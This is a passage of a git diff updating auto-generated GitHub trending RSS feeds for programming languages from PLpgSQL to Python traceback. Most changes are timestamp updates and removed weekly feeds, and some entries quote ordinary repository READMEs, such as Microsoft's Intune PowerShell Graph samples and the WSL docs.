- - GitHub PLpgSQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:15Z - Weekly Trending of PLpgSQL in GitHub - - - Vonng/pigsty - 2023-09-24T01:58:15Z - tag:github.com,2023-09-24:/Vonng/pigsty - - <p>PostgreSQL in Great STYle, Battery-Included Free RDS Alternative!</p><hr> - - \ No newline at end of file diff --git a/plsql/daily/index.xml b/plsql/daily/index.xml index 14081a600a6..b571f0337c0 100644 --- a/plsql/daily/index.xml +++ b/plsql/daily/index.xml @@ -1,7 +1,7 @@ GitHub PLSQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:18Z + 2023-09-25T01:37:29Z Daily Trending of PLSQL in GitHub \ No newline at end of file diff --git a/plsql/weekly/index.xml b/plsql/weekly/index.xml deleted file mode 100644 index 10b77864fdf..00000000000 --- a/plsql/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PLSQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:12Z - Weekly Trending of PLSQL in GitHub - - \ No newline at end of file diff --git a/pod-6/daily/index.xml b/pod-6/daily/index.xml index ab03133a22c..fdd6cf1c13e 100644 --- a/pod-6/daily/index.xml +++ b/pod-6/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pod 6 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:23Z + 2023-09-25T01:37:36Z Daily Trending of Pod 6 in GitHub \ No newline at end of file diff --git a/pod-6/weekly/index.xml b/pod-6/weekly/index.xml deleted file mode 100644 index 616a4af4fa7..00000000000 --- a/pod-6/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pod 6 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:17Z - Weekly Trending of Pod 6 in GitHub - - \ No newline at end of file diff --git a/pod/daily/index.xml b/pod/daily/index.xml index afc52faec3b..c4f5a4c2857 100644 --- a/pod/daily/index.xml +++ b/pod/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pod Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:16Z + 2023-09-25T01:37:30Z Daily Trending of Pod in GitHub \ No newline at end of file diff --git a/pod/weekly/index.xml b/pod/weekly/index.xml deleted file mode 100644 index d199b8e3e99..00000000000 --- a/pod/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pod Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:13Z - Weekly Trending of Pod in GitHub - - \ No newline at end of file diff --git a/pogoscript/daily/index.xml b/pogoscript/daily/index.xml index e396865176d..43cfbe6b6c1 100644 --- a/pogoscript/daily/index.xml +++ b/pogoscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub PogoScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:24Z + 2023-09-25T01:37:33Z Daily Trending of PogoScript in GitHub \ No newline at end of file diff --git a/pogoscript/weekly/index.xml b/pogoscript/weekly/index.xml deleted file mode 100644 index c6114d53c91..00000000000 --- a/pogoscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PogoScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:17Z - Weekly Trending of PogoScript in GitHub - - \ No newline at end of file diff --git a/pony/daily/index.xml b/pony/daily/index.xml index ac2ab927c14..d0e4da228bd 100644 --- a/pony/daily/index.xml +++ b/pony/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pony Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:22Z + 2023-09-25T01:37:35Z Daily Trending of Pony in GitHub \ No newline at end of file diff --git a/pony/weekly/index.xml b/pony/weekly/index.xml deleted file mode 100644 index 485ad79b41f..00000000000 --- a/pony/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pony Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:18Z - Weekly Trending of Pony in GitHub - - \ No newline at end of file diff --git a/postcss/daily/index.xml b/postcss/daily/index.xml index 19b40c6431f..05ce7200a0d 100644 --- a/postcss/daily/index.xml +++ b/postcss/daily/index.xml @@ -1,7 +1,7 @@ GitHub PostCSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:27Z + 2023-09-25T01:37:38Z Daily Trending of PostCSS in GitHub \ No newline at end of file diff --git a/postcss/weekly/index.xml b/postcss/weekly/index.xml deleted file mode 100644 index d021fcb8440..00000000000 --- a/postcss/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PostCSS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:22Z - Weekly Trending of PostCSS in GitHub - - \ No newline at end of file diff --git a/postscript/daily/index.xml b/postscript/daily/index.xml index ed2e5e0e063..e12e3470bb6 100644 --- a/postscript/daily/index.xml +++ b/postscript/daily/index.xml @@ -1,7 +1,14 @@ GitHub PostScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:28Z + 2023-09-25T01:37:40Z Daily Trending of PostScript in GitHub + + hzeller/ldgraphy + 2023-09-25T01:37:40Z + tag:github.com,2023-09-25:/hzeller/ldgraphy + + <p>Simple Laser Direct Lithography / Laser Direct Imaging for PCB manufacturing</p><hr> + \ No newline at end of file diff --git a/postscript/weekly/index.xml b/postscript/weekly/index.xml deleted file mode 100644 index e4882b81a2b..00000000000 --- a/postscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PostScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:20Z - Weekly Trending of PostScript in GitHub - - \ No newline at end of file diff --git a/pov-ray-sdl/daily/index.xml b/pov-ray-sdl/daily/index.xml index 9bfb9f26669..a2d13eb4813 100644 --- a/pov-ray-sdl/daily/index.xml +++ b/pov-ray-sdl/daily/index.xml @@ -1,7 +1,7 @@ GitHub POV-Ray SDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:26Z + 2023-09-25T01:37:39Z Daily Trending of POV-Ray SDL in GitHub \ No newline at end of file diff --git a/pov-ray-sdl/weekly/index.xml b/pov-ray-sdl/weekly/index.xml deleted file mode 100644 index 956f28894bb..00000000000 --- a/pov-ray-sdl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub POV-Ray SDL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:21Z - Weekly Trending of POV-Ray SDL in GitHub - - \ No newline at end of file diff --git a/powerbuilder/daily/index.xml b/powerbuilder/daily/index.xml index 15e7a27e5eb..862030f78b1 100644 --- a/powerbuilder/daily/index.xml +++ b/powerbuilder/daily/index.xml @@ -1,7 +1,7 @@ GitHub PowerBuilder Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:29Z + 2023-09-25T01:37:41Z Daily Trending of PowerBuilder in GitHub \ No newline at end of file diff --git a/powerbuilder/weekly/index.xml b/powerbuilder/weekly/index.xml deleted file mode 100644 index 3fb1e77980d..00000000000 --- a/powerbuilder/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PowerBuilder Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:24Z - Weekly Trending of PowerBuilder in GitHub - - \ No newline at end of file diff --git a/powershell/daily/index.xml b/powershell/daily/index.xml deleted file mode 100644 index b2b82f63859..00000000000 --- a/powershell/daily/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PowerShell Daily Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:36Z - Daily Trending of PowerShell in GitHub - - \ No newline at end of file diff --git a/powershell/weekly/index.xml b/powershell/weekly/index.xml deleted file mode 100644 index 318c28e8033..00000000000 --- a/powershell/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub PowerShell Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:28Z - Weekly Trending of PowerShell in GitHub - - - microsoftgraph/powershell-intune-samples - 2023-09-24T01:58:28Z - tag:github.com,2023-09-24:/microsoftgraph/powershell-intune-samples - - <p>This repository of PowerShell sample scripts show how to access Intune service resources. They demonstrate this by making HTTPS RESTful API requests to the Microsoft Graph API from PowerShell.</p><hr><hr> <p>page_type: sample products:</p> <ul> <li>ms-graph languages:</li> <li>powershell extensions: contentType: samples technologies: <ul> <li>Microsoft Graph services:</li> <li>Intune createdDate: 4/4/2017 9:41:27 AM noDependencies: true</li> </ul> </li> </ul> <hr> <h1>Intune Graph Samples</h1> <p>This repository of PowerShell sample scripts show how to access Intune service resources. They demonstrate this by making HTTPS RESTful API requests to the Microsoft Graph API from PowerShell.</p> <p>Documentation for Intune and Microsoft Graph can be found here <a href="https://docs.microsoft.com/en-us/graph/api/resources/intune-graph-overview?view=graph-rest-1.0">Intune Graph Documentation</a>.</p> <p>These samples demonstrate typical Intune administrator or Microsoft partner actions for managing Intune resources.</p> <p>The following samples are included in this repository:</p> <ul> <li>AdminConsent</li> <li>AndroidEnterprise</li> <li>AppleEnrollment</li> <li>Applications</li> <li>ApplicationSync</li> <li>AppProtectionPolicy</li> <li>Auditing</li> <li>Authentication</li> <li>CertificationAuthority</li> <li>CheckStatus</li> <li>CompanyPortalBranding</li> <li>CompliancePolicy</li> <li>CorporateDeviceEnrollment</li> <li>DeviceConfiguration</li> <li>EnrollmentRestrictions</li> <li>IntuneDataExport</li> <li>LOB_Application</li> <li>ManagedDevices</li> <li>Paging</li> <li>RBAC</li> <li>RemoteActionAudit</li> <li>SoftwareUpdates</li> <li>TermsAndConditions</li> <li>UserPolicyReport</li> </ul> <p>The scripts are licensed "as-is." under the MIT License.</p> <h4>Disclaimer</h4> <p>Some script samples retrieve information from your Intune tenant, and others create, delete or update data in your Intune tenant.&nbsp; Understand the impact of each sample script prior to running it; samples should be run using a non-production or "test" tenant account.&nbsp;</p> <h2>Using the Intune Graph API</h2> <p>The Intune Graph API enables access to Intune information programmatically for your tenant, and the API performs the same Intune operations as those available through the Azure Portal.&nbsp;&nbsp;</p> <p>Intune provides data into the Microsoft Graph in the same way as other cloud services do, with rich entity information and relationship navigation.&nbsp; Use Microsoft Graph to combine information from other services and Intune to build rich cross-service applications for IT professionals or end users.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p> <h2>Prerequisites</h2> <p>Use of these Microsoft Graph API Intune PowerShell samples requires the following:</p> <ul> <li>Install the AzureAD PowerShell module by running 'Install-Module AzureAD' or 'Install-Module AzureADPreview' from an elevated PowerShell prompt</li> <li>An Intune tenant which supports the Azure Portal with a production or trial license (<a href="https://docs.microsoft.com/en-us/intune-azure/introduction/what-is-microsoft-intune">https://docs.microsoft.com/en-us/intune-azure/introduction/what-is-microsoft-intune</a>)</li> <li>Using the Microsoft Graph APIs to configure Intune controls and policies requires an Intune license.</li> <li>An account with permissions to administer the Intune Service</li> <li>PowerShell v5.0 on Windows 10 x64 (PowerShell v4.0 is a minimum requirement for the scripts to function correctly)</li> <li>Note: For PowerShell 4.0 you will require the <a href="https://www.microsoft.com/en-us/download/details.aspx?id=51451">PowershellGet Module for PS 4.0</a> to enable the usage of the Install-Module functionality</li> <li>First time usage of these scripts requires a Global Administrator of the Tenant to accept the permissions of the application</li> </ul> <h2>Getting Started</h2> <p>After the prerequisites are installed or met, perform the following steps to use these scripts:</p> <h4>1. Script usage</h4> <ol> <li>Download the contents of the repository to your local Windows machine</li> </ol> <ul> <li>Extract the files to a local folder (e.g. C:\IntuneGraphSamples)</li> <li>Run PowerShell x64 from the start menu</li> <li>Browse to the directory (e.g. cd C:\IntuneGraphSamples)</li> <li>For each Folder in the local repository you can browse to that directory and then run the script of your choice</li> <li>Example Application script usage: <ul> <li>To use the Manage Applications scripts, from C:\IntuneGraphSamples, run "cd .\Applications"</li> <li>Once in the folder run .\Application_MDM_Get.ps1 to get all MDM added applications This sequence of steps can be used for each folder....</li> </ul> </li> </ul> <h4>2. Authentication with Microsoft Graph</h4> <p>The first time you run these scripts you will be asked to provide an account to authenticate with the service:</p> <pre><code>Please specify your user principal name for Azure Authentication: </code></pre> <p>Once you have provided a user principal name a popup will open prompting for your password. After a successful authentication with Azure Active Directory the user token will last for an hour, once the hour expires within the PowerShell session you will be asked to re-authenticate.</p> <p>If you are running the script for the first time against your tenant a popup will be presented stating:</p> <pre><code>Microsoft Intune PowerShell needs permission to: * Sign you in and read your profile * Read all groups * Read directory data * Read and write Microsoft Intune Device Configuration and Policies (preview) * Read and write Microsoft Intune RBAC settings (preview) * Perform user-impacting remote actions on Microsoft Intune devices (preview) * Sign in as you * Read and write Microsoft Intune devices (preview) * Read and write all groups * Read and write Microsoft Intune configuration (preview) * Read and write Microsoft Intune apps (preview) </code></pre> <p>Note: If your user account is targeted for device based conditional access your device must be enrolled or compliant to pass authentication.</p> <h2>Contributing</h2> <p>If you'd like to contribute to this sample, see CONTRIBUTING.MD.</p> <p>This project has adopted the Microsoft Open Source Code of Conduct. For more information see the Code of Conduct FAQ or contact <a href="mailto:opencode@microsoft.com">opencode@microsoft.com</a> with any additional questions or comments.</p> <h2>Questions and comments</h2> <p>We'd love to get your feedback about the Intune PowerShell sample. You can send your questions and suggestions to us in the Issues section of this repository.</p> <p>Your feedback is important to us. Connect with us on Stack Overflow. Tag your questions with [MicrosoftGraph] and [intune].</p> <h2>Additional resources</h2> <ul> <li><a href="https://developer.microsoft.com/en-us/graph/docs">Microsoft Graph API documentation</a></li> <li><a href="https://developer.microsoft.com/en-us/graph/graph-explorer">Microsoft Graph Portal</a></li> <li><a href="https://developer.microsoft.com/en-us/graph/code-samples-and-sdks">Microsoft code samples</a></li> <li><a href="https://docs.microsoft.com/en-us/graph/api/resources/intune-graph-overview?view=graph-rest-1.0">Intune Graph Documentation</a></li> </ul> <h2>Copyright</h2> <p>Copyright (c) 2017 Microsoft. All rights reserved.</p> <p>This project has adopted the <a href="https://opensource.microsoft.com/codeofconduct/">Microsoft Open Source Code of Conduct</a>. For more information see the <a href="https://opensource.microsoft.com/codeofconduct/faq/">Code of Conduct FAQ</a> or contact <a href="mailto:opencode@microsoft.com">opencode@microsoft.com</a> with any additional questions or comments.</p> - - - MicrosoftDocs/WSL - 2023-09-24T01:58:28Z - tag:github.com,2023-09-24:/MicrosoftDocs/WSL - - <p>Source code behind the Windows Subsystem for Linux documentation.</p><hr><h1>Windows Subsystem for Linux (WSL) Documentation</h1> <h2>Issues</h2> <p>If you find doc issues / errors or have an improvement you'd like to suggest, please file an issue and/or submit a pull-request - we greatly appreciate PR's in particular :)</p> <blockquote> <p><strong>Note:</strong> This repo's issue tracker is only for reporting issues with the WSL docs. Other related issue repo's:</p> <ul> <li>WSL: <a href="https://github.com/Microsoft/WSL/">https://github.com/Microsoft/WSL/</a></li> <li>Windows Console: <a href="https://github.com/Microsoft/Terminal/">https://github.com/Microsoft/Terminal/</a></li> </ul> </blockquote> <h2>External Links</h2> <p><a href="https://learn.microsoft.com/windows/wsl/">Rendered documentation website</a></p> <p><a href="https://learn.microsoft.com/windows/wsl/release-notes">Release notes for WSL</a></p> <h2>Microsoft Open Source Code of Conduct</h2> <p>This project has adopted the <a href="https://opensource.microsoft.com/codeofconduct/">Microsoft Open Source Code of Conduct</a>. For more information see the <a href="https://opensource.microsoft.com/codeofconduct/faq/">Code of Conduct FAQ</a> or contact <a href="mailto:opencode@microsoft.com">opencode@microsoft.com</a> with any additional questions or comments.</p> <p>Welcome to the markdown source for Microsoft's command-line shells and console documentation.</p> <h2>License</h2> <p>Distributed under the Creative Commons Attribution 4.0 International (CC BY 4.0) Public License.</p> - - - navy235/designpattern - 2023-09-24T01:58:28Z - tag:github.com,2023-09-24:/navy235/designpattern - - <p>designpattern</p><hr><h1>designpattern</h1> <p>designpattern</p> - - \ No newline at end of file diff --git a/prisma/daily/index.xml b/prisma/daily/index.xml index 05bfaf57042..f07a68dbdf4 100644 --- a/prisma/daily/index.xml +++ b/prisma/daily/index.xml @@ -1,7 +1,7 @@ GitHub Prisma Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:30Z + 2023-09-25T01:37:43Z Daily Trending of Prisma in GitHub \ No newline at end of file diff --git a/prisma/weekly/index.xml b/prisma/weekly/index.xml deleted file mode 100644 index 90d542e504e..00000000000 --- a/prisma/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Prisma Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:23Z - Weekly Trending of Prisma in GitHub - - \ No newline at end of file diff --git a/processing/daily/index.xml b/processing/daily/index.xml index c73a591f733..34a5ba9d4c8 100644 --- a/processing/daily/index.xml +++ b/processing/daily/index.xml @@ -1,7 +1,7 @@ GitHub Processing Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:31Z + 2023-09-25T01:37:42Z Daily Trending of Processing in GitHub \ No newline at end of file diff --git a/processing/weekly/index.xml b/processing/weekly/index.xml deleted file mode 100644 index 0e31d0ef21a..00000000000 --- a/processing/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Processing Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:25Z - Weekly Trending of Processing in GitHub - - \ No newline at end of file diff --git a/procfile/daily/index.xml b/procfile/daily/index.xml index 5d09053fb58..1621d6394ca 100644 --- a/procfile/daily/index.xml +++ b/procfile/daily/index.xml @@ -1,7 +1,7 @@ GitHub Procfile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:53Z + 2023-09-25T01:37:57Z Daily Trending of Procfile in GitHub \ No newline at end of file diff --git a/procfile/weekly/index.xml b/procfile/weekly/index.xml deleted file mode 100644 index d5dd1db05a7..00000000000 --- a/procfile/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Procfile Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:37Z - Weekly Trending of Procfile in GitHub - - \ No newline at end of file diff --git a/proguard/daily/index.xml b/proguard/daily/index.xml index 5231f514e45..892fd8258af 100644 --- a/proguard/daily/index.xml +++ b/proguard/daily/index.xml @@ -1,7 +1,7 @@ GitHub Proguard Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:54Z + 2023-09-25T01:37:56Z Daily Trending of Proguard in GitHub \ No newline at end of file diff --git a/proguard/weekly/index.xml b/proguard/weekly/index.xml deleted file mode 100644 index 230a1ba6a65..00000000000 --- a/proguard/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Proguard Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:39Z - Weekly Trending of Proguard in GitHub - - \ No newline at end of file diff --git a/prolog/daily/index.xml b/prolog/daily/index.xml index 202e3f7855d..e5d7a42f301 100644 --- a/prolog/daily/index.xml +++ b/prolog/daily/index.xml @@ -1,7 +1,7 @@ GitHub Prolog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:55Z + 2023-09-25T01:37:54Z Daily Trending of Prolog in GitHub \ No newline at end of file diff --git a/prolog/weekly/index.xml b/prolog/weekly/index.xml deleted file mode 100644 index 4b1a717b543..00000000000 --- a/prolog/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Prolog Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:38Z - Weekly Trending of Prolog in GitHub - - - sebgod/goldparser-prolog - 2023-09-24T01:58:38Z - tag:github.com,2023-09-24:/sebgod/goldparser-prolog - - <p>A GOLD Parser implementation in SWI-Prolog</p><hr> - - \ No newline at end of file diff --git a/promela/daily/index.xml b/promela/daily/index.xml index 42862ed497c..fbd8885726e 100644 --- a/promela/daily/index.xml +++ b/promela/daily/index.xml @@ -1,7 +1,7 @@ GitHub Promela Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:54Z + 2023-09-25T01:37:55Z Daily Trending of Promela in GitHub \ No newline at end of file diff --git a/promela/weekly/index.xml b/promela/weekly/index.xml deleted file mode 100644 index cfc99442c89..00000000000 --- a/promela/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Promela Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:38Z - Weekly Trending of Promela in GitHub - - \ No newline at end of file diff --git a/propeller-spin/daily/index.xml b/propeller-spin/daily/index.xml index ceef870204b..74ad7659db1 100644 --- a/propeller-spin/daily/index.xml +++ b/propeller-spin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Propeller Spin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:59Z + 2023-09-25T01:37:58Z Daily Trending of Propeller Spin in GitHub \ No newline at end of file diff --git a/propeller-spin/weekly/index.xml b/propeller-spin/weekly/index.xml deleted file mode 100644 index 13e7a4e358e..00000000000 --- a/propeller-spin/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Propeller Spin Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:42Z - Weekly Trending of Propeller Spin in GitHub - - \ No newline at end of file diff --git a/protocol-buffer-text-format/daily/index.xml b/protocol-buffer-text-format/daily/index.xml index 033ffe04435..3625148a3ca 100644 --- a/protocol-buffer-text-format/daily/index.xml +++ b/protocol-buffer-text-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Protocol Buffer Text Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:57Z + 2023-09-25T01:37:59Z Daily Trending of Protocol Buffer Text Format in GitHub \ No newline at end of file diff --git a/protocol-buffer-text-format/weekly/index.xml b/protocol-buffer-text-format/weekly/index.xml deleted file mode 100644 index ea0849acb71..00000000000 --- a/protocol-buffer-text-format/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Protocol Buffer Text Format Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:43Z - Weekly Trending of Protocol Buffer Text Format in GitHub - - \ No newline at end of file diff --git a/protocol-buffer/daily/index.xml b/protocol-buffer/daily/index.xml index 085e9e21ec0..a151a3bc5d2 100644 --- a/protocol-buffer/daily/index.xml +++ b/protocol-buffer/daily/index.xml @@ -1,7 +1,7 @@ GitHub Protocol Buffer Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:57Z + 2023-09-25T01:38:01Z Daily Trending of Protocol Buffer in GitHub \ No newline at end of file diff --git a/protocol-buffer/weekly/index.xml b/protocol-buffer/weekly/index.xml deleted file mode 100644 index d48fa2a38a8..00000000000 --- a/protocol-buffer/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Protocol Buffer Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:41Z - Weekly Trending of Protocol Buffer in GitHub - - \ No newline at end of file diff --git a/public-key/daily/index.xml b/public-key/daily/index.xml index 861437b7d1f..a75dbb19c1e 100644 --- a/public-key/daily/index.xml +++ b/public-key/daily/index.xml @@ -1,7 +1,7 @@ GitHub Public Key Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:58Z + 2023-09-25T01:38:00Z Daily Trending of Public Key in GitHub \ No newline at end of file diff --git a/public-key/weekly/index.xml b/public-key/weekly/index.xml deleted file mode 100644 index bb4407f60e9..00000000000 --- a/public-key/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Public Key Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:40Z - Weekly Trending of Public Key in GitHub - - \ No newline at end of file diff --git a/pug/daily/index.xml b/pug/daily/index.xml index b342d2daa25..acd4e5252f7 100644 --- a/pug/daily/index.xml +++ b/pug/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pug Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:00Z + 2023-09-25T01:38:03Z Daily Trending of Pug in GitHub \ No newline at end of file diff --git a/pug/weekly/index.xml b/pug/weekly/index.xml deleted file mode 100644 index 460eddfc227..00000000000 --- a/pug/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Pug Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:47Z - Weekly Trending of Pug in GitHub - - - reddit/redditsans - 2023-09-24T01:58:47Z - tag:github.com,2023-09-24:/reddit/redditsans - - <p>Reddit Sans. The typeface of the internet.</p><hr> - - \ No newline at end of file diff --git a/puppet/daily/index.xml b/puppet/daily/index.xml index f8f5973bb83..5f39b5ac7c2 100644 --- a/puppet/daily/index.xml +++ b/puppet/daily/index.xml @@ -1,21 +1,7 @@ GitHub Puppet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:02Z + 2023-09-25T01:38:02Z Daily Trending of Puppet in GitHub - - ankurpshah/cms-puppet - 2023-09-24T01:39:02Z - tag:github.com,2023-09-24:/ankurpshah/cms-puppet - - <p>Puppet recipes for the HouseTrip CMS</p><hr> - - - gwagner/puppet-firewall - 2023-09-24T01:39:02Z - tag:github.com,2023-09-24:/gwagner/puppet-firewall - - <p>Firewall module for puppet</p><hr> - \ No newline at end of file diff --git a/puppet/weekly/index.xml b/puppet/weekly/index.xml deleted file mode 100644 index c43c4ec84e3..00000000000 --- a/puppet/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Puppet Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:46Z - Weekly Trending of Puppet in GitHub - - - wulff/vagrant-dk-mwu-gere - 2023-09-24T01:58:46Z - tag:github.com,2023-09-24:/wulff/vagrant-dk-mwu-gere - - <p></p><hr> - - - gwagner/puppet-firewall - 2023-09-24T01:58:46Z - tag:github.com,2023-09-24:/gwagner/puppet-firewall - - <p>Firewall module for puppet</p><hr> - - \ No newline at end of file diff --git a/pure-data/daily/index.xml b/pure-data/daily/index.xml index 4949d0d5119..cc76a85ba26 100644 --- a/pure-data/daily/index.xml +++ b/pure-data/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pure Data Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:02Z + 2023-09-25T01:38:05Z Daily Trending of Pure Data in GitHub \ No newline at end of file diff --git a/pure-data/weekly/index.xml b/pure-data/weekly/index.xml deleted file mode 100644 index 533b0abc035..00000000000 --- a/pure-data/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pure Data Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:44Z - Weekly Trending of Pure Data in GitHub - - \ No newline at end of file diff --git a/purebasic/daily/index.xml b/purebasic/daily/index.xml index 280bc0f2faa..e048df3e5a7 100644 --- a/purebasic/daily/index.xml +++ b/purebasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub PureBasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:03Z + 2023-09-25T01:38:04Z Daily Trending of PureBasic in GitHub \ No newline at end of file diff --git a/purebasic/weekly/index.xml b/purebasic/weekly/index.xml deleted file mode 100644 index f72e5cdab7b..00000000000 --- a/purebasic/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PureBasic Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:45Z - Weekly Trending of PureBasic in GitHub - - \ No newline at end of file diff --git a/purescript/daily/index.xml b/purescript/daily/index.xml index beb8cc6e662..a7a952cb694 100644 --- a/purescript/daily/index.xml +++ b/purescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub PureScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:08Z + 2023-09-25T01:38:13Z Daily Trending of PureScript in GitHub \ No newline at end of file diff --git a/purescript/weekly/index.xml b/purescript/weekly/index.xml deleted file mode 100644 index 29569181f0a..00000000000 --- a/purescript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PureScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:52Z - Weekly Trending of PureScript in GitHub - - \ No newline at end of file diff --git a/python-console/daily/index.xml b/python-console/daily/index.xml index 909a31dcc8e..c98e9411b4e 100644 --- a/python-console/daily/index.xml +++ b/python-console/daily/index.xml @@ -1,7 +1,7 @@ GitHub Python console Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:04Z + 2023-09-25T01:38:07Z Daily Trending of Python console in GitHub \ No newline at end of file diff --git a/python-console/weekly/index.xml b/python-console/weekly/index.xml deleted file mode 100644 index a57fd2a56d1..00000000000 --- a/python-console/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Python console Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:49Z - Weekly Trending of Python console in GitHub - - \ No newline at end of file diff --git a/python-traceback/daily/index.xml b/python-traceback/daily/index.xml index ab32cc012b4..fdc2019ae5b 100644 --- a/python-traceback/daily/index.xml +++ b/python-traceback/daily/index.xml @@ -1,7 +1,7 @@ GitHub Python traceback Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:36Z + 2023-09-25T01:38:49Z Daily Trending of Python traceback in GitHub \ No newline at end of file diff --git a/python-traceback/weekly/index.xml b/python-traceback/weekly/index.xml deleted file mode 100644 index 